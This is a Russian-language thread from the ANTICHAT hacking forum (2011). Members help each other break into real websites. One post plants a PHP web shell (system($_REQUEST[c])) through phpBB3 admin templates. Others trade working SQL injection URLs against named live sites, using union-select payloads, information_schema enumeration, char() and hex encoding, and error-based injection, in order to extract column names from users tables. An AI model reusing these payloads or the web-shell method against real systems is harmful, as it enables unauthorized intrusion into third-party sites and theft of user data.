HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #16631  
Старый 14.03.2011, 15:01
Unknown
Guest
Сообщений: n/a
Провел на форуме:
191387

Репутация: 6
По умолчанию

Цитата:
Сообщение от stan_q  
stan_q said:
Заливка шела через темплейты в phpBB3 (необходим доступ в админку).
1. Разрешаем выполнение пхп в темплейтах. Устанавливаем галочку в Основные настройки(General Settings) -> Настройки безопасности(Security Settings) -> Разрешить выполнение пхп в темплейтах (Allow php in templates).
2. Далее в стилях выбираем необходимый темплейт и прописываем необходимый пхп код в следующей конструкции:

system($_REQUEST[c]);

Источник
Цитата:
Сообщение от None  
SQL ERROR [ mysqli ]
Incorrect string value: '\xC1\xF0\xFF\xED\xF1\xEA...' for column 'template_data' at row 1 [1366]
INSERT INTO phpbb3_styles_template_data (template_id, template_filename, template_included, template_mtime, template_data) VALUES (1, 'overall_footer.html', 'confirm_body.html:faq_body.html:index_body.html:l ogin_forum.html:mcp_approve.html:mcp_footer.html:m cp_move.html:memberlist_body.html:memberlist_email .html:memberlist_leaders.html:memberlist_view.html :message_body.html
osting_layout.html
rime_delete_confirm.html:report_body.html:reputati on_body.html:search_body.html:search_results.html: thankslist_body.html:thanks_results.html:toplist_b ody.html:ucp_agreement.html:ucp_footer.html:ucp_re mind.html:ucp_resend.html:viewforum_body.html:view online_body.html:viewtopic_body.html:gallery_foote r.html
ortal_body.html:stats_footer.html:', 1294949740, '
блабла
BACKTRACE
FILE: includes/db/mysqli.php
LINE: 163
CALL: dbal->sql_error()
FILE: includes/acp/acp_styles.php
LINE: 2624
CALL: dbal_mysqli->sql_query()
FILE: includes/acp/acp_styles.php
LINE: 3661
CALL: acp_styles->store_templates()
FILE: includes/acp/acp_styles.php
LINE: 3628
CALL: acp_styles->_store_in_db()
FILE: includes/acp/acp_styles.php
LINE: 774
CALL: acp_styles->store_in_db()
FILE: includes/acp/acp_styles.php
LINE: 180
CALL: acp_styles->edit_template()
FILE: includes/functions_module.php
LINE: 507
CALL: acp_styles->main()
FILE: adm/index.php
LINE: 78
CALL: p_master->load_active()
что неправильно сделано?
 
Ответить с цитированием

  #16632  
Старый 14.03.2011, 15:17
Compton
Участник форума
Регистрация: 31.01.2010
Сообщений: 170
Провел на форуме:
1442841

Репутация: 63
Отправить сообщение для Compton с помощью AIM Отправить сообщение для Compton с помощью Yahoo
По умолчанию

Код:
Code:
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,?,4,5,6,7+from+users+limit+0,1--
не могу найти колонку с именем юзера
 
Ответить с цитированием

  #16633  
Старый 14.03.2011, 15:20
baobabeng
Guest
Сообщений: n/a
Провел на форуме:
11371

Репутация: 0
По умолчанию

Цитата:
Сообщение от Compton  
Compton said:
Код:
Code:
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,?,4,5,6,7+from+users+limit+0,1--
не могу найти колонку с именем юзера
information_schema доступна, в чём проблема?
 
Ответить с цитированием

  #16634  
Старый 14.03.2011, 15:24
Compton
Участник форума
Регистрация: 31.01.2010
Сообщений: 170
Провел на форуме:
1442841

Репутация: 63
Отправить сообщение для Compton с помощью AIM Отправить сообщение для Compton с помощью Yahoo
По умолчанию

Цитата:
Сообщение от baobabeng  
baobabeng said:
information_schema доступна, в чём проблема?
Код:
Code:
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,column_name,4,5,6,7+from+information_schema.columns+where+table_name='users'--
или я что-то не так делаю?
 
Ответить с цитированием

  #16635  
Старый 14.03.2011, 15:28
Unknown
Guest
Сообщений: n/a
Провел на форуме:
191387

Репутация: 6
По умолчанию

Цитата:
Сообщение от Compton  
Compton said:
Код:
Code:
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,column_name,4,5,6,7+from+information_schema.columns+where+table_name='users'--
или я что-то не так делаю?
зачарь

http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,group_concat(column_name),4,5, 6,7+from+information_schema.columns+where+table_na me=char(117,115,101,114,115)

users=char(117,115,101,114,115)
 
Ответить с цитированием

  #16636  
Старый 14.03.2011, 15:53
baobabeng
Guest
Сообщений: n/a
Провел на форуме:
11371

Репутация: 0
По умолчанию

Цитата:
Сообщение от Compton  
Compton said:
Код:
Code:
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,column_name,4,5,6,7+from+information_schema.columns+where+table_name='users'--
или я что-то не так делаю?
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,column_name,4,5,6,7+from+infor mation_schema.columns+where+table_name=0x757365727 3--
 
Ответить с цитированием

  #16637  
Старый 14.03.2011, 19:26
Compton
Участник форума
Регистрация: 31.01.2010
Сообщений: 170
Провел на форуме:
1442841

Репутация: 63
Отправить сообщение для Compton с помощью AIM Отправить сообщение для Compton с помощью Yahoo
По умолчанию

при нахождении столбцов через order_by и последующей комбинации их с union select вылетаешь ошибка

Код:
Code:
The used SELECT statements have a different number of columns
что можно сделать?
 
Ответить с цитированием

  #16638  
Старый 14.03.2011, 19:31
Unknown
Guest
Сообщений: n/a
Провел на форуме:
34733

Репутация: 83
По умолчанию

Цитата:
Сообщение от Compton  
Compton said:
при нахождении столбцов через order_by и последующей комбинации их с union select вылетаешь ошибка
Код:
Code:
The used SELECT statements have a different number of columns
что можно сделать?
2 запроса. Крути через ошибку. Или линк сюда.

http://forum.antichat.net/thread43966.html последний пост от Scipio.

Через ошибку:

Код:
Code:
http://www.cosmeticsdatabase.com/brand.php?brand_id=987%20or%201%20group%20by%20concat((select%20version()),floor(rand(0)*2))%20having%20min(0)%20or%201%20--%201
С прямым выводом:

Код:
Code:
http://www.cosmeticsdatabase.com/ingredient.php?ingred06=-705545%20union%20select%201,2,3,4,5,6,7,8,version(),0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2+--+
Цитата:
Сообщение от XAMEHA  
XAMEHA said:
Для начала надо сделать чтоб линк все видели:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.cosmeticsdatabase.com/brand.php?brand_id=987+union+select+1,2,3,4,5,6,7,8--

[/COLOR][/COLOR
Жмешь "QUOTE" и смотришь что он там написал в теге
 
Ответить с цитированием

  #16639  
Старый 14.03.2011, 19:35
Compton
Участник форума
Регистрация: 31.01.2010
Сообщений: 170
Провел на форуме:
1442841

Репутация: 63
Отправить сообщение для Compton с помощью AIM Отправить сообщение для Compton с помощью Yahoo
По умолчанию

Цитата:
Сообщение от Фараон  
Фараон said:
2 запроса. Крути через ошибку. Или линк сюда.
http://www.cosmeticsdatabase.com/brand.php?brand_id=987+union+select+1,2,3,4,5,6,7, 8--
 
Ответить с цитированием

  #16640  
Старый 14.03.2011, 19:40
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Цитата:
Сообщение от Compton  
Для начала надо сделать чтоб линк все видели:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.cosmeticsdatabase.com/brand.php?brand_id=987+union+select+1,2,3,4,5,6,7,8--

[/COLOR][/COLOR
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
 


Быстрый переход




ANTICHAT.XYZ